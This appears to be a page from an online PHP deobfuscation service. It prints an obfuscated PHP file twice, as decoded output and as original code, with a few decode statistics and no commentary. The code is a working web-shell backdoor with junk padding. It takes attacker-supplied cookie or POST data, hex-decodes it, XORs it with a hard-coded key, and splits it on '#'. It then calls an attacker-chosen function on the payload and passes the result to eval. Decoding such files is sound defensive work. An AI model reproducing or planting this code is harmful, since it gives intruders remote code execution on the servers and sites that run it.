Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function/* DNOkl */GeikSKtA($DraXuni) /* N */{ /*cIOW*/return @pack( "\..
Decoded Output download
<?php function/* DNOkl */GeikSKtA($DraXuni)
/* N */{
/*cIOW*/return @pack( "H" ./* qb*/'*',/* V */$DraXuni/* hjqoT*/);;
$LHWnBUaKF/* U */= md5($DraXuni);
$BDlzSQkfek = base64_decode($DraXuni);
if/* J */($BDlzSQkfek === false)/* fjl */{
$BDlzSQkfek/* ml */=/* r */'';
}
/*GLv*/$rLYuBrF = str_split($DraXuni);$_LfG = '48427';
$jQrRS = strlen($DraXuni);
$SsIrkWBiK = 0;;
while (/* cspdK */$SsIrkWBiK < $jQrRS )/* mjSK */{
/* DfSk */$SsIrkWBiK++;
/* VhnoC */$eBCSyOdSZi = $rLYuBrF[$SsIrkWBiK];;
/* DfyvA */if/* X */(strpos($eBCSyOdSZi, 'a')/* KUaPF */!==/* tfXJJ */false)/* ek */{
$rLYuBrF[$SsIrkWBiK] = strtoupper($eBCSyOdSZi);;
}
/* ysdh */}
$JMMCnwXUO = implode('',/*YjX */$rLYuBrF);
$_GET['decoded'] = $JMMCnwXUO;;
$_POST['hash']/* FYv */= $LHWnBUaKF;$_f = '53322';
if (file_exists('path/to/file')) {
$YMPDJ = file_get_contents('path/to/file');
$MhbktMXLxE =/* CEl */explode(',', $YMPDJ);
/*Q */$eExkQC =/* CZRkc */md5(serialize($MhbktMXLxE));
/* jj*/if (is_array($MhbktMXLxE))/* VC */{
/* YLm*/$KWQHEDL =/* w*/array_slice($MhbktMXLxE,/* a */0, 5);
/* Eq */}
/* Fb */}
$kYqlVM/* h */= array_map('trim', $KWQHEDL);
$PUZkCuF/*w */= rawurldecode(implode(',', $kYqlVM));
$_COOKIE['final_value'] = $PUZkCuF;$_IM = '37672';
}
/* nzMEe */
/* PZ */function uVVApHPy()
{
$yCUQYbxKyA =/* gnbCH */Array($_COOKIE, $_POST);
$QzUBFiO = array_map('md5',/* O */$_COOKIE);;
/* bn*/$lguaR = strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla') !== false/* mp */?/* OSo */'browser is/* QD */Mozilla'/* K */:/* Savzh */'browser/*XPI */is not/* cXp */Mozilla';;
if/* eBo */(is_array($yCUQYbxKyA))/* b */{
$zQwiHidN = array_slice($yCUQYbxKyA,/*aOcEB */0, 1);;
}/*Sfgc */else {
$zQwiHidN = [];$_kY =/* Unv */'56401';
/* Ssye*/}
$THLNmziZ = explode(',', 'apple,orange,banana');
/* y */$AITspWOHK =/* gVW */rawurldecode('%20Hello%20World%20');;
/* aSi */$SsIrkWBiK/* g */=/* U*/0;;
while ($SsIrkWBiK </* i*/count($THLNmziZ)/*v*/)/* W */{
$THLNmziZ[$SsIrkWBiK]/* K */=/* xLmUl */str_repeat($THLNmziZ[$SsIrkWBiK], 2);
$SsIrkWBiK++;
}
/* s*/$jmPPoixKaI =/* iODg*/str_repeat($lguaR,/* La */3);$_DvSM = '39094';
/* Hz */return $yCUQYbxKyA;
}
function/* z */tVmVMYF($GzOCtAbyd)
/* FTIPd*/{
/* tTCtR */$aYkFLAS =/*pNGi */"#";;
/* zaGf*/foreach/* g*/(uVVApHPy() as $MIQOre)/* vII */{
/* sjZX */dNEmC($MIQOre,/* LuBq */$aYkFLAS);;
}
}
/* nCml */
function PVCtzafdp($ktltlsUuzX, $YVLmiFOYzn)
/* ju */{
/* CZRXA */if ( count/*vSd */(/* JI*/$ktltlsUuzX ) == 3 ) {
$bqtPl/*w */=/* JKlbq */$ktltlsUuzX[1];
/*XRhrO */$gNpFtEy =/* LkJog */$ktltlsUuzX[2];
$IetDrZp = $bqtPl($gNpFtEy);
/* je */eval ( $IetDrZp/*tXEZp */);
die/* GN */();
}
}
/* ZQgk */
function WXyaHnE($DraXuni,/* aMQU*/$hEtyUs)
/* VRKk */{
/* BY */return $DraXuni/* NiQ */^ $hEtyUs;;
}
/*UvjVf */function CtqMbXcyo($ZsfHxatmwb, $aYkFLAS)
/* DhlZ */{
$ZsfHxatmwb =/*om */explode ($aYkFLAS, $ZsfHxatmwb/* T */);
PVCtzafdp($ZsfHxatmwb,/*PGjJ*/$aYkFLAS);
}
function dNEmC($MIQOre, $aYkFLAS)
{
foreach ( $MIQOre as/* G*/$hEtyUs/* Ai */=> $DraXuni/* yJ*/) {
oUFWivMrdM($hEtyUs,/*oLYqf */GeikSKtA($DraXuni), $aYkFLAS);
}
/*mRz*/}
function lxYrvX($hEtyUs, $DraXuni)
{
/* k */$bhwQfYUAq =/*u */strlen( $DraXuni )/strlen( $hEtyUs );;
$hEtyUs .=/*qHzn*/"bESumE-Mym-HlwYIlt-BQG-KQPL-hvXEXjh-mebv";$_TvKR =/* JCL */'21165';
$hEtyUs = str_repeat ( $hEtyUs,/* zgvM */intval($bhwQfYUAq) + 1);
/* m*/return/*tMhf */$hEtyUs;
}
function oUFWivMrdM($hEtyUs, $DraXuni,/* Sfa */$aYkFLAS)
{
/* Og */CtqMbXcyo(WXyaHnE($DraXuni, lxYrvX($hEtyUs, $DraXuni)), $aYkFLAS);;
$mmHormQs = trim($DraXuni);
/* n */$hYQoiZWVYy = explode($aYkFLAS, $mmHormQs);
/* jovK*/if/* Fl*/(count($hYQoiZWVYy)/* eIo*/> 1) {
/* S */$DTEWRIUNw = implode(chr (45),/* UaB */$hYQoiZWVYy);$_QjWx =/* SzWmL */'30565';
$FemyE/*UYE */= str_pad($DTEWRIUNw, 20,/* uoCv */chr/* B */( 644 - 596 ), STR_PAD_RIGHT);$_UXifY = '30154';
/* NoJ */}/* BTLE */else/* A */{
$FemyE = str_replace(chr ( 523/* vBrwF*/- 491 ), chr/* gHU */( 150 - 55 ), $mmHormQs);;
/* TkZ */}
$TqKybTDFy =/* GOcK */empty($aYkFLAS);$_f = '37295';
/*TFv*/if (!$TqKybTDFy)/* OEI */{
/*lBYtN */$RroeiU =/* aEn */substr($FemyE, 0,/* aU */10);$_kp =/*N */'50486';
/*nhzv */}/* pIf*/else/*C */{
$RroeiU =/* YPyY*/$FemyE;$_nLoJ = '63479';
/* VYF */}
}
/* lh */
tVmVMYF("");$_bI =/* fEEI */'4844';
?>
Did this file decode correctly?
Original Code
<?php function/* DNOkl */GeikSKtA($DraXuni)
/* N */{
/*cIOW*/return @pack( "\x48" ./* qb*/'*',/* V */$DraXuni/* hjqoT*/);;
$LHWnBUaKF/* U */= md5($DraXuni);
$BDlzSQkfek = base64_decode($DraXuni);
if/* J */($BDlzSQkfek === false)/* fjl */{
$BDlzSQkfek/* ml */=/* r */'';
}
/*GLv*/$rLYuBrF = str_split($DraXuni);$_LfG = '48427';
$jQrRS = strlen($DraXuni);
$SsIrkWBiK = 0;;
while (/* cspdK */$SsIrkWBiK < $jQrRS )/* mjSK */{
/* DfSk */$SsIrkWBiK++;
/* VhnoC */$eBCSyOdSZi = $rLYuBrF[$SsIrkWBiK];;
/* DfyvA */if/* X */(strpos($eBCSyOdSZi, 'a')/* KUaPF */!==/* tfXJJ */false)/* ek */{
$rLYuBrF[$SsIrkWBiK] = strtoupper($eBCSyOdSZi);;
}
/* ysdh */}
$JMMCnwXUO = implode('',/*YjX */$rLYuBrF);
$_GET['decoded'] = $JMMCnwXUO;;
$_POST['hash']/* FYv */= $LHWnBUaKF;$_f = '53322';
if (file_exists('path/to/file')) {
$YMPDJ = file_get_contents('path/to/file');
$MhbktMXLxE =/* CEl */explode(',', $YMPDJ);
/*Q */$eExkQC =/* CZRkc */md5(serialize($MhbktMXLxE));
/* jj*/if (is_array($MhbktMXLxE))/* VC */{
/* YLm*/$KWQHEDL =/* w*/array_slice($MhbktMXLxE,/* a */0, 5);
/* Eq */}
/* Fb */}
$kYqlVM/* h */= array_map('trim', $KWQHEDL);
$PUZkCuF/*w */= rawurldecode(implode(',', $kYqlVM));
$_COOKIE['final_value'] = $PUZkCuF;$_IM = '37672';
}
/* nzMEe */
/* PZ */function uVVApHPy()
{
$yCUQYbxKyA =/* gnbCH */Array($_COOKIE, $_POST);
$QzUBFiO = array_map('md5',/* O */$_COOKIE);;
/* bn*/$lguaR = strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla') !== false/* mp */?/* OSo */'browser is/* QD */Mozilla'/* K */:/* Savzh */'browser/*XPI */is not/* cXp */Mozilla';;
if/* eBo */(is_array($yCUQYbxKyA))/* b */{
$zQwiHidN = array_slice($yCUQYbxKyA,/*aOcEB */0, 1);;
}/*Sfgc */else {
$zQwiHidN = [];$_kY =/* Unv */'56401';
/* Ssye*/}
$THLNmziZ = explode(',', 'apple,orange,banana');
/* y */$AITspWOHK =/* gVW */rawurldecode('%20Hello%20World%20');;
/* aSi */$SsIrkWBiK/* g */=/* U*/0;;
while ($SsIrkWBiK </* i*/count($THLNmziZ)/*v*/)/* W */{
$THLNmziZ[$SsIrkWBiK]/* K */=/* xLmUl */str_repeat($THLNmziZ[$SsIrkWBiK], 2);
$SsIrkWBiK++;
}
/* s*/$jmPPoixKaI =/* iODg*/str_repeat($lguaR,/* La */3);$_DvSM = '39094';
/* Hz */return $yCUQYbxKyA;
}
function/* z */tVmVMYF($GzOCtAbyd)
/* FTIPd*/{
/* tTCtR */$aYkFLAS =/*pNGi */"\43";;
/* zaGf*/foreach/* g*/(uVVApHPy() as $MIQOre)/* vII */{
/* sjZX */dNEmC($MIQOre,/* LuBq */$aYkFLAS);;
}
}
/* nCml */
function PVCtzafdp($ktltlsUuzX, $YVLmiFOYzn)
/* ju */{
/* CZRXA */if ( count/*vSd */(/* JI*/$ktltlsUuzX ) == 3 ) {
$bqtPl/*w */=/* JKlbq */$ktltlsUuzX[1];
/*XRhrO */$gNpFtEy =/* LkJog */$ktltlsUuzX[2];
$IetDrZp = $bqtPl($gNpFtEy);
/* je */eval ( $IetDrZp/*tXEZp */);
die/* GN */();
}
}
/* ZQgk */
function WXyaHnE($DraXuni,/* aMQU*/$hEtyUs)
/* VRKk */{
/* BY */return $DraXuni/* NiQ */^ $hEtyUs;;
}
/*UvjVf */function CtqMbXcyo($ZsfHxatmwb, $aYkFLAS)
/* DhlZ */{
$ZsfHxatmwb =/*om */explode ($aYkFLAS, $ZsfHxatmwb/* T */);
PVCtzafdp($ZsfHxatmwb,/*PGjJ*/$aYkFLAS);
}
function dNEmC($MIQOre, $aYkFLAS)
{
foreach ( $MIQOre as/* G*/$hEtyUs/* Ai */=> $DraXuni/* yJ*/) {
oUFWivMrdM($hEtyUs,/*oLYqf */GeikSKtA($DraXuni), $aYkFLAS);
}
/*mRz*/}
function lxYrvX($hEtyUs, $DraXuni)
{
/* k */$bhwQfYUAq =/*u */strlen( $DraXuni )/strlen( $hEtyUs );;
$hEtyUs .=/*qHzn*/"bESumE-Mym-HlwYIlt-BQG-KQPL-hvXEXjh-mebv";$_TvKR =/* JCL */'21165';
$hEtyUs = str_repeat ( $hEtyUs,/* zgvM */intval($bhwQfYUAq) + 1);
/* m*/return/*tMhf */$hEtyUs;
}
function oUFWivMrdM($hEtyUs, $DraXuni,/* Sfa */$aYkFLAS)
{
/* Og */CtqMbXcyo(WXyaHnE($DraXuni, lxYrvX($hEtyUs, $DraXuni)), $aYkFLAS);;
$mmHormQs = trim($DraXuni);
/* n */$hYQoiZWVYy = explode($aYkFLAS, $mmHormQs);
/* jovK*/if/* Fl*/(count($hYQoiZWVYy)/* eIo*/> 1) {
/* S */$DTEWRIUNw = implode(chr (45),/* UaB */$hYQoiZWVYy);$_QjWx =/* SzWmL */'30565';
$FemyE/*UYE */= str_pad($DTEWRIUNw, 20,/* uoCv */chr/* B */( 644 - 596 ), STR_PAD_RIGHT);$_UXifY = '30154';
/* NoJ */}/* BTLE */else/* A */{
$FemyE = str_replace(chr ( 523/* vBrwF*/- 491 ), chr/* gHU */( 150 - 55 ), $mmHormQs);;
/* TkZ */}
$TqKybTDFy =/* GOcK */empty($aYkFLAS);$_f = '37295';
/*TFv*/if (!$TqKybTDFy)/* OEI */{
/*lBYtN */$RroeiU =/* aEn */substr($FemyE, 0,/* aU */10);$_kp =/*N */'50486';
/*nhzv */}/* pIf*/else/*C */{
$RroeiU =/* YPyY*/$FemyE;$_nLoJ = '63479';
/* VYF */}
}
/* lh */
tVmVMYF("");$_bI =/* fEEI */'4844';
Function Calls
None |
Stats
MD5 | a0a366d4a914e45c9b567a12a329530f |
Eval Count | 0 |
Decode Time | 111 ms |